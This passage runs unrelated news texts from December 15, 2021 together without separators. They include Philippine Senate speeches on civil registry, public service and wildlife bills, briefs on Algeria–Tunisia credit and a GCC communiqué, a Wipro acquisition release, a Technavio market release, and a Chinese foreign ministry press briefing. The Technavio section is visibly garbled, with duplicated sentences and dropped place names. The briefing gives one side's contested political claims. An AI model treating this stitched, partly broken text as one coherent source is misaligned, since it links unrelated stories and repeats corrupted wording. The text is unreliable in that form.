corrected birth certificate. Maaari po bang humingi ng kapalit na mga dokumento? Sa totoo lang, for as long as the reasons are valid, unli po ang bilang ng pwedeng hingin. Para nga doon sa mga mahirap sa buhaypero mayaman sa pag-ibigmaaaring makakuha ng kapalit na walang bayad basta may maiprisinta lang na patunay na ika'y gipit sa buhay mula sa DSWD. Isa pa pong magandang probisyon ay ang mandato na pag-link up ng mga embahada natin sa civil registry database ng ating bansa. Under this bill, our Foreign Service Posts shall have a "virtual viewing facility" where the authenticity of the certificates of live birth, death, or marriage can be verified, based on my understanding, by the requesting individual. Mr. President, my dear colleagues. Red tape is said to be a form of a "time tax". When productive hours of a citizen which can yield compensation are wasted in the labyrinth of bureaucracy, income is forfeited. In fact, the cost of document charged by the state is always smaller than the actual total cost of acquiring itwhich includes fare, meals and salary forfeited when one is forced to be absent from work. We often talk about red tape encountered by big business. And we have passed laws easing them of the burden of doing business. It is time to extend the same relief and liberality to ordinary citizens. Mr. President ... Mr . Vice President: Bago ko po wakasan ang pagpapanukala ng bill na ito, gusto ko po sanang ilabas, na bilang isang pasakalye, ang isang masalimuot na isyu na may kaugnayan sa bill na ito. Kailangan din po bang gawing permanente at hindi napapalitan ang Certificate of Candidacy? Boto po ako sa ideyang ito. Pero sa ngayon, pakiboto po muna sa bill na ito. Press Release December 15, 2021 EXPLANATION OF VOTE SB 2094: Amending the Public Service Act Senate President Pro Tempore Ralph G. Recto Mr. President, my dear colleagues: First, let me apologize to Her Grace, the good Senator Poe, for keeping her in plenary way past our usual adjournment time last night. Little did I know that it made her late to her yearly date with a patriot - her father, FPJ, whose death anniversary the nation marked with affection yesterday. Da King would have understood, and in fact will be beaming with pride, as her daughter had the perfect excuse - of doing overtime work in the service of the people. So the sight of her caressing the tomb of the Man Who Would Have Been Our President, on the night she won the toughest debates on a law, to my mind composes this perfect caption: Legacy of great men lives. But some laws are meant to be interred. The debates yesterday capped the long last rites on an 85-year-old bill. When the PSA was enacted in 1936, it governed public services whose technology was cutting-edge thenbut are museum relics now. Telephone calls had to pass through operators manually punching switchboards. The fastest way across the Pacific was a six-day hop on islands aboard a plane which landed on water. "Rush" telegrams were composed in Morse to be transmitted on wires. An ice plant was a franchised public service like the one in Lawton which blasted the 4:00PM siren, birthing the famous saying "mabilis pa sa alas-kuwatro". Technological advances should have prompted regulatory obsolescence. But laws have always been behind innovation. But the PSA is so far behind. It is three-quarters of a century behind the curve. There is no debate that there have been developments in commerce and civilization, which have rendered parts of the PSA obsolete. A law crafted during the pre-War years when colonial powers have partitioned the world cannot serve as a rulebook in an age when technology has changed the world and nations have rewritten the rules in doing business. But while the law's many provisions have become outdated, some principles which underpin them remain valid: the superiority of public interest over private profit, to cite one example. Yes, we should court foreign investment, aggressively even, and roll out the red carpet for them. But we should delineate red lines which should not be crossed. Yes, we should delist many industries from the current roster of public utilities, so that with the restrictive ownership requirements lifted, foreign capital can come in. But we cannot do it in wholesale fashion in selecting which, and not in a manner that so liberalizes the entry of foreign investments that it restrains government from conducting review and oversight. Most of the time, I fully agree with the sponsor on what should be placed in the public services box and what should be in the public utility box. I argued for some critical industries to be retained in the public utility box, and thus be subjected to the 60 percent Filipino ownership rule. When the house was divided, I lost the vote on some, but was comforted by the thought that I was not by my lonesome as the count showed that sometimes the voting was a close one. I still do maintain that there are industries which should remain majority owned by Filipinos, as they are too vital to our national life that they cannot be totally relinquished without triggering national security concerns. I just hope that the protocols this bill providessubjecting to automatic review foreign ownership bids on public service enterpriseswill kick in, not just to vet, but also to veto, when these are injurious to the nation. My being pro-investment does not extend to the total surrender of ownership of critical industries to foreigners. This is not nationalist sloganeering. But I believe that majority ownership of industries whose service they provide are so vital for human survival that they have been treated as human rights, like water and internet, should remain in Filipino hands. I thank the sponsor for accepting the reciprocity clause, because investment privileges should, like love, be requited. I thank her for concurring with my proposal that "any certificate authorizing the operation, management or control of a public service shall only be issued to corporations, partnerships, associations or joint stock companies that are constituted and organized under the laws of the Philippines." One other amendment which has also made it to the final copy is of a foreign-owned enterprise being defined as an entity, in which a foreign state which directly or indirectly owns more than 50 percent of the capital taking into account both the voting rights and beneficial ownership. I close my speech with the hope that the incoming Senate upholds our tradition of debating bills of national import, substantially and not simulated, never sacrificing scrutiny for speed, never trading examination for expediency, because this is how great laws are made. And I will also honor one tradition our predecessors have practiced - of being honest if one does not agree with a bill, to vote "NO" when one is not in accord. I so vote Mr. President. Press Release December 15, 2021 Sponsorship Speech of Senator Cynthia A. Villar Revised Wildlife Resources Conservation and Protection Act Mr. President, my fellow senators, I am pleased to sponsor today Senate Bill No. 2465, under Committee Report No. 402. This refers to "An Act Strengthening the Wildlife Conservation and Protection Mechanism in the Philippines, Amending for this Purpose Republic Act No. 9147, Otherwise Known as the 'Wildlife Resources Conservation and Protection Act', Providing Funds Therefor and for Other Purposes" The said Committee Report was prepared and submitted jointly by the Committees on Environment, Natural Resources and Climate Change; Finance; and Sustainable Development Goals, Innovation and Futures Thinking. SB No. 2465, which I am sponsoring now is in substitution of Senate Bill Nos. 2078 that I authored and Senate Bill No. 2079 authored by Sen. Zubiri and Binay, taking into consideration House Bill No. 9833, the counterpart bill passed on third reading by the House of Representatives. As a backgrounder, Republic Act No. 9147 or the current Wildlife Resources Conservation and Protection Act, enacted in 2001, is a measure that provides the necessary environmental policy enabling Philippine government to manage and conserve the wildlife resources of the country comprehensively. It was enacted in keeping with the country's commitment under the Convention on International Trade in Endangered Species of Wild Fauna and Flora or CITES, the Convention on Biological Diversity or CBD, and the Conservation of Migratory Species of Wild Animals or CMS. RA 9147 includes a list of illegal acts that are considered detrimental to wildlife with corresponding penalties, such as imprisonment or fines, or both, that are intended to serve as deterrent for violative acts against wildlife and their habitats. The Philippine enforcement authorities were able to apprehend perpetrators of wildlife offenses under the provisions of Republic Act No. 9147 over the years; however, nowadays there are many other violations that remain rampant and undetected because the landscape has changed since its enactment. There is an evolution of wildlife crimes due to globalization. Open borders and better transport infrastructure also permitted access of illegal wildlife trade syndicates to previously remote areas, while the internet gave unprecedented access to new markets. The two-decades-old Wildlife Act must be strengthened to address the growing scale and sophistication of wildlife crimes. There is a need to develop a more stringent legal framework, improve enforcement mechanisms, and strengthen inter-agency cooperation against illegal wildlife trade. We need to give more "teeth" so to speak to existing policies and laws to help enforcement authorities also to apprehend violators. And that's what Senate Bill 2465 seeks to provide to fortify the mechanisms in place to afford better protection to our wildlife resources. Senate Bill 2465 or the Revised Wildlife Resources Conservation and Protection bill, I am sponsoring now, will provide the timely or relevant amendments to RA 9047. These include the following, among others: It addresses the crime of "wildlife trafficking" by providing its definition and commensurate penalties, and other strategies to deter the devious schemes of wildlife syndicates that are large- scale and transnational; It includes control and management mechanism for invasive alien species, that threatens the survival of our local plants and animals; It provides guidelines on the collection, possession and transport of wildlife, its by-products and derivatives; It recognizes the jurisdiction of Palawan Council for sustainable Development (PCSD) and the Bangsamoro Government (BMG) over wildlife species in their respective territories. The DENR, DA, PCSD (Palawan Council for Sustainable Development), and the Bangsamoro Government, as applicable, are given the power to exercise administrative adjudication in cases of violations and may cause the confiscation, forfeiture and final disposition of wildlife, its by-products and derivatives, as well as tools and conveyances; It provides increase in the penalties (imprisonment and/or fines) for illegal acts to serve as deterrent for the commission of wildlife crimes; and Provisions on the applicability of the disputable presumption that wildlife offenses have been committed. Strengthening wildlife protection is crucial to the Philippines, which is considered as one of the world's 17 megadiverse or biodiversity-rich countries, which collectively hosts two-thirds of the Earth's biodiversity and contain about 70 to 80 percent of the world's plant and animal species. The Philippines harbors one of the highest concentrations of unique wildlife species in the world. Yet, it is also a biodiversity hotspot with high levels of threats from habitat loss, invasive alien species (IAS), climate change, pollution, and overexploitation. Thus, this calls for us to take action on the protection of our wildlife because any damage or loss will cost too much for us. We owe it to the future generation to conserve and protect our wildlife resources. It is part of our duty to leave this world better than we found it. Let us make sure that the future generations will still actually encounter and co-exist with an abundance of plants and animals, and not just see them in old pictures. In closing, Mr. President, esteemed colleagues, I earnestly seek your support for the swift passage of the Revised Wildlife Resources conservation and Protection bill. Thank you and isang maka-kalikasang hapon po sa inyong lahat. Algeria has granted a $300 million credit facility to Tunisia to help the North African country navigate economic distress. The deal for the credit according to Tunisias national gazette, was signed on Dec. 09 during the visit of the Algerian Premier Aimene Benabderrahmane. The announcement of the deal came Tuesday, a day before visit of the Algerian President Abdelmajid Tebboune on Dec. 15-16, at the invitation of his Tunisian counterpart Kais Saied. This visit, Saieds office said, will be an opportunity to strengthen the historical ties of brotherhood between Tunisia and Algeria and to anchor the traditions of consultation and coordination between the leaders of both countries on regional and international issues of the day. It will also be an opportunity to consolidate the relations of cooperation and partnership established between the two countries, the statement added. Tunisia is going through deep economic crisis worsened by political uncertainty after Saied seized on July 25 the executive, judiciary and legislature power. Saudi Arabia and Libya, Tunisie Numerique reported in November citing a source knowledgeable of the matter, are expected to provide Tunisia a loan of $500 million each attached with affordable interests to help the North African country to overcome economic woes amid the ongoing political crisis. Gulf Cooperation Council (GCC) leaders have reiterated their unwavering support to Moroccos territorial integrity and sovereignty over its entire Sahara territory. In their joint statement issued Tuesday following the 42nd Session of the GCC Supreme Council held in Riyadh, the leaders of Saudi Arabia, United Arab Emirates, Qatar, Oman, Kuwait and Bahrain renewed their strong backing to Moroccos security and stability. They also welcomed the latest UN Security Council resolution on Moroccan Sahara and stressed the importance of the privileged strategic partnership between the GCC and Morocco and the implementation of the joint action plan. In their final communique, the GCC leaders renewed their commitment to joint defense against all threats and challenges, insisting on GCC unity, solidarity and stability. They also tackled issues related to global warming and response to covid-19 pandemic, pledging to enhance the GCC regional and international role, by unifying political stances and building new regional and international partnerships. [December 15, 2021] Wipro to Acquire LeanSwift, an Infor Alliance Partner for ERP and E-Commerce Solutions Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO), a leading global information technology, consulting and business process services company, today announced that it has signed an agreement to acquire LeanSwift Solutions, a Florida, US headquartered system integrator of Infor Products whose service capabilities include ERP, e-commerce, digital transformation, supply chain, warehouse management systems, business intelligence and integrations. LeanSwift has development offices across US, Sweden and India and its strong portfolio of clients span multiple industries, including manufacturing, distribution, chemicals, fashion, and food & beverages. Their core business is providing consulting, business solutions and technical services to customers in the Infor space. They have been recognized by Infor as Innovation Partner of the Year - North America in 2020 and with the Innovation Award in 2018. The acquisition aligns with Wipro's strategy to invest and expand its cloud transformation business through Wipro FullStride Cloud Services. LeanSwift through its capabilities in both the consulting and implementation space, will complement Wipro's Infor cloud practice, and will also establish Wipro as a market leader in the Infor industry cloud services. The combined entity will provide Wipro an edge in key transformation deals, especially in the manufacturing and distribution industry, combining Infor CloudSuite and broader cloud-native digital capabilities. Harish Dwarkanhalli, President - Applications & Data, iDEAS, Wipro Limited said, "We are happy to welcome LeanSwift to the Wipro family. Wipro's deep domain capabilities and integrated cloud portfolio under Wipro FullStride Cloud Services, combined with LeanSwift's strong Infor credentials, brings a unique value proposition for our customers to drive digital transformation based on Infor's industry cloud platforms. This acquisition will establish a strong, industry-focused Infor Practice that will help us win large deals in the Cloud ERP space." Anise Madh, Chief Executive Officer, LeanSwift said, "We are very proud of our team and we sincerely thank our customers through this incredible journey. We are very excited to join the Wipro team. Over the last 10 years, LeanSwift has gathered deep functional and technical expertise working across the globe for arious customers. We have built value added products and carved a niche for ourselves in the industry as an Infor services specialist. Our complementary capabilities and shared vision will drive change in the industries that we serve, find new growth opportunities for our employees, and help our clients realize value." Paul Krebs, CIO and Chief Transformation Officer, Koch Industries said, "Wipro has been one of our strategic partners in our transformation journey leveraging Infor CloudSuite products. I am pleased to learn about their continued investment in the Infor Cloud space. It showcases Wipro's commitment towards strengthening their Infor capabilities and thereby serving their and Infor's customers better." Deanna Gibbs Lanier, Senior Vice President, Strategy, Growth and Partnerships, Infor said, "Wipro is one of the premier global system integrators in the Infor ecosystem, with a common goal to support customers throughout their business transformation journey. Infor is at the forefront of providing transformational micro-verticalized products and we are experiencing significant traction in this space. We are thrilled that Wipro and LeanSwift are coming together to deliver the best of Infor Solutions to our current customers and new Infor cloud adopters. We look forward to fostering a stronger relationship with Wipro to grow Infor's presence in the enterprise cloud business, more precisely in manufacturing and distribution industries." The acquisition is subject to customary closing conditions and is expected to close before the end of the quarter ending March 31, 2022. About Wipro Limited Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO) is a leading global information technology, consulting and business process services company. We harness the power of cognitive computing, hyper-automation, robotics, cloud, analytics and emerging technologies to help our clients adapt to the digital world and make them successful. A company recognized globally for its comprehensive portfolio of services, strong commitment to sustainability and good corporate citizenship, we have over 220,000 dedicated employees serving clients across six continents. Together, we discover ideas and connect the dots to build a better and a bold new future. About LeanSwift Solutions LeanSwift is a global leader in e-commerce and Mobile solutions for Infor customers in Manufacturing, Distribution, Food & Beverage and Fashion. LeanSwift has a pool of experts who have been delivering ERP solutions and integrations for over 10 years. They offer customers profitable propositions by streamlining processes, enhance operational performance and provide fit-for-purpose solutions. The core of their business is to provide Business Solutions and Technical Services for Infor products. They have improved business processes for their customers including order entry, supply chain, planning, reporting, finance, analysis etc. by effectively using their experience of implementing more than 500+ projects in this space. Forward-Looking Statements The forward-looking statements contained herein represent Wipro's beliefs regarding future events, many of which are by their nature, inherently uncertain and outside Wipro's control. Such statements include, but are not limited to, statements regarding Wipro's growth prospects, its future financial operating results, and its plans, expectations and intentions. Wipro cautions readers that the forward-looking statements contained herein are subject to risks and uncertainties that could cause actual results to differ materially from the results anticipated by such statements. Such risks and uncertainties include, but are not limited to, risks and uncertainties regarding fluctuations in our earnings, revenue and profits, our ability to generate and manage growth, complete proposed corporate actions, intense competition in IT services, our ability to maintain our cost advantage, wage increases in India, our ability to attract and retain highly skilled professionals, time and cost overruns on fixed-price, fixed-time frame contracts, client concentration, restrictions on immigration, our ability to manage our international operations, reduced demand for technology in our key focus areas, disruptions in telecommunication networks, our ability to successfully complete and integrate potential acquisitions, liability for damages on our service contracts, the success of the companies in which we make strategic investments, withdrawal of fiscal governmental incentives, political instability, war, legal restrictions on raising capital or acquiring companies outside India, unauthorized use of our intellectual property and general economic conditions affecting our business and industry. Additional risks that could affect our future operating results are more fully described in our filings with the United States Securities and Exchange Commission, including, but not limited to, Annual Reports on Form 20-F. These filings are available at www.sec.gov. We may, from time to time, make additional written and oral forward-looking statements, including statements contained in the company's filings with the Securities and Exchange Commission and our reports to shareholders. We do not undertake to update any forward-looking statement that may be made from time to time by us or on our behalf. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005667/en/ [ Back to the Next Generation Communications Community's Homepage ] Welcome Guest! You Are Here: [December 15, 2021] Call Center Outsourcing Market in Europe to Grow by USD 3.14 Bn | Atento SA and Bertelsmann SE & Co. KGaA Among Key Vendors | Technavio NEW YORK, Dec. 15, 2021 /PRNewswire/ -- Some of the primary growth drivers for the call center outsourcing market in Europe are the increase in call center outsourcing by IT and telecom service providers, increasing use of automated technologies in call centers, and focus on reducing operating costs, according to a senior analyst at Technavio. However, factors such as shifting focus on developing countries as call center destinations may challenge the market growth. The high cost of call center outsourcing services in Western Europe has compelled international companies to shift to Asia and South America. Many call center organizations have started their operations in countries such as India and the Philippines because of low operating costs. The availability of resources such as land, labor, and communication services at lower costs is a major reason for investments in call centers in emerging countries in APAC and MEA when compared to Europe. Organizations in various industries, including finance and healthcare, can outsource their customer services operations to call centers in emerging countries. Thus, developing countries as call center destinations will significantly impact the growth of the call center outsourcing market in Europe during the forecast period. View FREE Report Sample for additional inputs regarding the drivers, challenges, and trends impacting the growth of the call center outsourcing market in Europe The size of the call center outsourcing market in Europe is expected to grow by USD 3.14 bn from 2020 to 2025. The year-over-year growth rate of the market in 2021 is 2.91%. Key Vendors and Their Offerings Atento SA - The company offers different types of call center outsourcing for Data Science, Digital Marketing, Market Intelligence, and others. The company offers different types of call center outsourcing for Data Science, Digital Marketing, Market Intelligence, and others. Bertelsmann SE & Co. KGaA - The company offers different types of call center outsourcing under the brand name CXaaS. The company offers different types of call center outsourcing under the brand name CXaaS. Computer Generated Solutions Inc. - The company offers different types of call center outsourcing such as multichannel, multilingual outsourcing services, and others. The company offers different types of call center outsourcing such as multichannel, multilingual outsourcing services, and others. Sitel Group - The company offers different types of call center outsourcing for contact center services. The company offers different types of call center outsourcing for contact center services. StarTek Inc. - The company offers different types of call center outsourcing which is for customer engagement. Regional Analysis 33% of the growth will originate from the UK. of the growth will originate from the UK. The UK is the key country for the call center outsourcing market in Europe . is the key country for the call center outsourcing market in . Market growth in this region will be slower than the growth of the market in UK, Germany , France , The Netherlands , and Rest of Europe . To learn more about the contribution of each segment of the call center outsourcing market in Europe, View Our Free Sample Report Now Notes: The size of the call center outsourcing market in Europe is expected to accelerate at a CAGR of 3.13% during the forecast period. is expected to during the forecast period. The call center outsourcing market in Europe is segmented by end-user (IT and telecom, BFSI, healthcare, retail, and others) and geography (UK, Germany , France , The Netherlands , and Rest of Europe ). is segmented by end-user (IT and telecom, BFSI, healthcare, retail, and others) and geography (UK, , , , and Rest of ). The market is fragmented due to the presence of many vendors holding significant market share. due to the presence of many vendors holding significant market share. The research report offers information on several market vendors, including Atento SA, Bertelsmann SE & Co. KGaA, Computer Generated Solutions Inc., Sitel Group, StarTek Inc., SYNNEX Corp., Teleperformance SE, Transcom Holding AB, TTEC Holdings Inc., and Webhelp Group. Get lifetime access to our Technavio Insights. Subscribe now to our most popular "Lite Plan" billed annually at USD 3000. View 3 reports monthly and Download 3 Reports Annually! Related Reports: Regulatory Affairs Outsourcing Market: The regulatory affairs outsourcing market has been segmented by end-user (pharmaceutical, medical device, and biotechnology) and geography (APAC, North America , Europe , and ROW). Download Free Sample Report Now The regulatory affairs outsourcing market has been segmented by end-user (pharmaceutical, medical device, and biotechnology) and geography (APAC, , , and ROW). Recruitment Process Outsourcing Market: The recruitment process outsourcing market has been segmented by end-user (IT and telecom, manufacturing, BFSI, healthcare, and others) and geography ( North America , Europe , APAC, MEA, and South America ). Download Free Sample Report Now Call Center Outsourcing Market In Europe Scope Report Coverage Details Page number 120 Base year 2020 Forecast period 2021-2025 Growth momentum & CAGR Accelerate at a CAGR of 3.13% Market growth 2021-2025 USD 3.14 billion Market structure Fragmented YoY growth (%) 2.91 Regional analysis UK, Germany, France, The Netherlands, and Rest of Europe Performing market contribution UK at 33% Key consumer countries UK, Germany, France, and The Netherlands Competitive landscape Leading companies, competitive strategies, consumer engagement scope Companies profiled Atento SA, Bertelsmann SE & Co. KGaA, Computer Generated Solutions Inc., Sitel Group, StarTek Inc., SYNNEX Corp., Teleperformance SE, Transcom Holding AB, TTEC Holdings Inc., and Webhelp Group Market Dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and future consumer dynamics, market condition analysis for the forecast period Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized. About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. Contact: Technavio Research Jesse Maida Media & Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ View original content to download multimedia:https://www.prnewswire.com/news-releases/call-center-outsourcing-market-in-europe-to-grow-by-usd-3-14-bn--atento-sa-and-bertelsmann-se--co-kgaa-among-key-vendors--technavio-301444931.html SOURCE Technavio [ Back To SIP Trunking Home's Homepage ] Radio Television Hong Kong: First question, the UK released the latest six-monthly report on Hong Kong that said Beijing and Hong Kong have used the national security law that was published over one year ago against all opposition in Hong Kong and asked China to fulfill legal obligations under the Sino-British Joint Declaration. Do you have any response? Secondly, the report also said that by the end of September, over 80,000 people had applied for visas under relevant scheme. Do you have any comment? Zhao Lijian: On your first question, the UK is obsessed with issuing the so-called semi-annual reports to attack and smear China and interfere in Hong Kong affairs out of ideological bias. China deplores and firmly rejects this. I want to stress that since the Law on Safeguarding National Security in the Hong Kong SAR took effect over one year ago, Hong Kong has embraced the turnaround from chaos to stability and prosperity. Hong Kong residents and foreign citizens there can better exercise their legitimate rights and enjoy their freedoms in a safe environment. The legal basis for the Chinese governments administration of Hong Kong is Chinas Constitution and the Basic Law, not the Sino-British Joint Declaration. After the return of Hong Kong, all the provisions concerning the British side in the Joint Declaration have been fulfilled. The UK has no sovereignty, no jurisdiction and no right of supervision over Hong Kong. There is no point in repeatedly talking about the Joint Declaration. The UK tries to wantonly interfere in Hong Kong affairs by misrepresenting the Joint Declaration. This is a grave violation of principles of the international law and basic norm governing international relations such as mutual respect of sovereignty and territorial integrity and non-interference in internal affairs. On human rights, the UK is by no means doing a great job, still less is it in the position to lecture others on the issue. In its hundreds of years of colonial history, the UK has committed numerous crimes in many parts of the world. Systemic racial discrimination, violence, provocation and hate crimes against ethnic minorities in the UK are on the rise. In the UK immigration detention centers, conditions are poor and the rights of immigrants are seriously violated. If the UK truly cares about human rights, it should conduct investigation into the UK militarys killing of civilians and acts of torture in the military operations in places like Afghanistan and Iraq and hold the troops accountable. If the UK truly cares about human rights, it should implement the 2019 International Court of Justice advisory opinion on the Chagos Archipelago as soon as possible and return Chagos to Mauritius at an early date to complete the decolonization of Mauritius. If the UK truly cares about human rights, it should not have sat idly by as the resurgence and spread of COVID-19 claimed the lives of nearly 150,000 UK citizens. The UK should reflect on its own problems and earnestly redress them before wantonly criticizing others. On your second question, China has elaborated on its position many times. In disregard of Chinas stern position and in flagrant violation of its international commitment, the UK tries to turn many Hong Kong residents into second-class citizens in the UK and reap benefit from this. It is hypocritical and unavailing for the UK to play up this issue in an attempt to seek political manipulation. China does not recognize BN(O) passports as valid travel and identity documents. We ask the UK to redress its mistake immediately. Otherwise, the stone it has lifted will only end up hurting its own toes. Bloomberg: The US government is considering imposing tougher sanctions on SMIC, the Semiconductor Manufacturing International Corporation, according to a report citing people familiar with the matter. Does the foreign ministry have any comment? Zhao Lijian: The Chinese side is seriously concerned about the situation mentioned in the report. Economic globalization is an objective reality and historical trend. China always believes that scientific and technological achievements should benefit all mankind, rather than be used as a means to restrict the development of other countries. By overstretching the concept of national security, certain US politicians politicize and instrumentalize science and technology and economic and trade issues based on ideology. This runs counter to the principle of market economy and fair competition. It will only threaten and hurt the security of global industrial and supply chains and undermine international trade rules. Such attempts are typical political manipulation that harm everyone. The US should work with the international community to uphold an open, fair, just and non-discriminatory environment for scientific and technological development and international businesses. We advise some people in the US to abandon the Cold War mentality and ideological bias, stop abusing state power to groundlessly suppress specific Chinese sectors and enterprises, and stop violating market economy principles and international trade rules. China will, as always, firmly defend the legitimate rights and interests of Chinese companies. CGTN: Advocacy groups say the prosecutions under the China Initiative, a scheme launched by the US Department of Justice, the Federal Bureau of Investigation and other federal agencies, reflect racial bias that contributed to a 71% rise in incidents of violence against Asian Americans from 2019 to 2020. The US government has turned the China Initiative into an instrument for racial profiling, says Judy Chu, a Democratic representative from California. Do you have any comment? Zhao Lijian: The China Initiative you mentioned sets caseload target before conducting investigation and collecting evidence. According to media reports, most of the China-Related Cases Examples under this initiative over the past two years do not involve intellectual property or trade secrets theft. Nearly 2,000 university scholars across the US signed an open letter to the US Department of Justice in protest of this initiative. This proves that more and more people have realized that the so-called China Initiative is essentially a tool for anti-China forces in the US to abuse the concept of national security to contain and suppress China. It is a new version of McCarthyism, which has long been discarded by the American people with hard lessons learned from the painful memory of white horror. Past mistakes shall never be repeated again. As we all know, the Chinese people have made important contributions to the economic and social development of the US. However, it is a pity that the discrimination against people of Chinese descent has not been effectively rectified in sync with the economic and social development. This is attributable to the fact that the anti-China forces in the US keep spreading disinformation to denigrate and attack China. The hard work of ethnic minorities in the US, including those of Chinese descent, is not paid back with respect and protection but with persistent discrimination and injustice. This runs counter to the values of human rights and equality that the US has always championed. It is a humiliation to the American democracy. The US side should take actions to address its serious racial discrimination and safeguard the legitimate rights and interests of ethnic minorities including people of Chinese descent. China Review News: According to reports, French lawmakers including Francois de Rugy, the head of the Taiwan Friendship group in the National Assembly, the lower house of Frances parliament, arrived in Taiwan for a visit on December 15. Do you have any comment? Zhao Lijian: There is but one China in the world and Taiwan is an inalienable part of Chinas territory. We firmly oppose any form of official or political interaction between Taiwan and countries having diplomatic relations with China. The relevant side should earnestly abide by the one-China principle, stop sending wrong signals to Taiwan independence forces, and safeguard the sound and steady development of bilateral relations with concrete actions. Bloomberg: The US is now reported to be adding eight more Chinese companies to an investment blacklist, the purposes of which is to say that they have been allegedly involved in the surveillance of Chinas ethnic minorities. This is according to a report from the Financial Times. Does the foreign ministry have any comment? Zhao Lijian: We noted relevant reports. I would like to stress that China always opposes US moves to overstretch the concept of national security and exert unwarranted suppression on Chinese companies. The Chinese side has already shared the facts and truth on Xinjiang-related issues on many occasions. We will closely follow the relevant situation and firmly safeguard the legitimate rights and interests of Chinese companies. Global Times: On December 14, the US Secretary of State Antony Blinken said in a speech delivered during his visit to Indonesia that, there is so much concern, from northeast Asia to southeast Asia, and from the Mekong River to the Pacific Islands, about Beijings aggressive actions, adding that the US is determined to ensure freedom of navigation in the South China Sea. He also mentioned the arbitration ruling of an international tribunal on the South China Sea. Does China have any comment? Zhao Lijian: Let me start by stating a few simple facts. It is not China that has long been stirring up trouble in the South China Sea and posing a grave threat and major risks to regional peace and stability under the pretext of freedom of navigation. It is not China that deliberately provokes disputes in the South China Sea and sows discord between regional countries. It is not China that randomly dispatches advanced vessels and aircraft to conduct military reconnaissance or drills in the South China Sea or to illegally trespass into other countries territorial sea and airspace or adjacent waters and airspace of their islands and reefs. Im sure we all know which country is in the habit of doing all these. I hope US officials will not misrepresent facts. The US likes to invoke the United Nations Convention on the Law of the Sea (UNCLOS) and the so-called South China Sea arbitration and keeps talking about the rules-based order, then it should start with joining the convention first. The South China Sea arbitration gravely violated the principle of state consent. Its so-called ruling contravenes international law including UNCLOS and is illegal, null and void. The US styles itself as a defender of international law, then it should start with executing the judgement and advisory opinion of the International Court of Justice and the resolution of the UN General Assembly. It is selective in applying international law and international order. This practice of egoism and double standards has long lost credibility and is becoming increasingly counterproductive. The freedom of navigation in the South China Sea claimed by the US is nothing but the freedom of trespassing enjoyed by US advanced military aircraft and vessels in saber-rattling and making provocations. The US has made itself an example of hegemony and bullying by throwing its weight internationally, wantonly imposing unilateral sanctions, exercising long-arm jurisdictions, overstretching the concept of national security to hobble foreign companies and employing economic coercion. The US should respect facts, the international law and basic norms governing international relations, stop undermining peace and stability in the South China Sea, and stop the erroneous moves of hurting mutual trust and cooperation between regional countries. China News Service: According to Kyodo News reports, the research results recently released by Yuichiro Kumamoto, a researcher at Japan Agency for Marine-Earth Science and Technology, showed that the radioactive substance Cesium-134 which entered the ocean due to the Fukushima nuclear accident in 2011 have arrived in the interior of the Arctic Ocean around eight years later. Do you have any comment? Zhao Lijian: This is not the first report that confirmed that radioactive substance from the Fukushima nuclear accident had been detected in the Arctic Ocean. The research results of researchers at Tsukuba University released in November also found that Cesium-137, a radioactive substance that flowed into the sea in the Fukushima nuclear accident, was detected in the Arctic Ocean. These findings of Japanese scholars clearly illustrate the fact that the radioactive substances leaked from the accident at the Fukushima nuclear power plant have spread to the Pacific Ocean and the Arctic Ocean and may affect waters around the globe. If the more than 1.2 million tonnes of nuclear contaminated water is discharged into the Pacific Ocean as planned by Japan, it will have an impact on the marine environment in the whole region and even the world. Is this the kind of consequence that can be borne by Japan alone? I want to reiterate that the release of nuclear contaminated water from the Fukushima nuclear accident into the ocean is not a private matter of Japan and should not be decided by Japan alone. The Japanese side should listen carefully to the concerns of its neighbors and the international community, take a responsible attitude toward the marine environment and humanitys health, revoke its wrong decision of ocean release and stop the preparatory work for the discharge. Radio Television Hong Kong: The head of Taiwans so-called foreign affairs department Joseph Wu said that Chinas mainland approached Nicaragua, a country that had diplomatic ties with Taiwan, when the US was busy hosting the Summit for Democracy. Do you have any comment? Zhao Lijian: I noted the ridiculous remarks by the certain Taiwan independence individual. He said so to cover up the failure in separatist activities. The DPP authorities participation in the Summit for Democracy cannot cover up the true intention of seeking independence by using democracy as a pretext. Following the one-China principle is an unstoppable and overriding trend with popular support. Attempts by the DPP authorities to deny the one-China principle are self-deceiving and rejecting the one-China principle leads no where. Bloomberg: Do you have any more details to offer on the President Xi-President Putin conversation thats scheduled to take place this afternoon? Zhao Lijian: President Xi Jinping will hold a virtual meeting with Russian President Vladimir Putin today. Please stay tuned as we will release more specific information on the meeting in due course. Hubei Media Group: The opening ceremony of the Love Knows No Borders international charity sale will be held on December 18. Could you share with us the arrangements? Zhao Lijian: The Love Knows No Borders international charity sale has been successfully held for 12 consecutive years since 2009. It brings love together for poverty alleviation, promotes exchange between China and the world, and creates extensive and positive social impact. Here, on behalf of the Ministry of Foreign Affairs, I want to express gratitude to foreign embassies and international organizations in China, people from all walks of life and everyone in this room for your support, love and devotion. In 2021, as the Communist Party of China celebrates its 100th anniversary, China completed the building of a moderately prosperous society in all respects, won the fight against poverty, and is comprehensively advancing rural revitalization. Standing at the new starting point, this years international charity sale is themed Rural Revitalization, Health Care First. Money raised at the sale will help to improve health care services in the two counties of Jinping and Malipo of Yunnan province. The opening ceremony of this years charity sale will be held both online and offline in Beijing on December 18. State Councilor and Foreign Minister Wang Yi and Madame Qian Wei, foreign diplomats posted in China, and representatives of relevant companies will attend the event. The charity sale will be held both on an e-commerce platform and via live-streaming like the last time. To be specific, the week-long online sale will be held on a Tmall webpage dedicated to assistance through consumption from 11 a.m. of December 18. The live-streaming to be held at 8 p.m. on the same day will invite foreign diplomatic envoys in China, senior diplomats, representatives from the two counties of Yunnan province that the foreign ministry 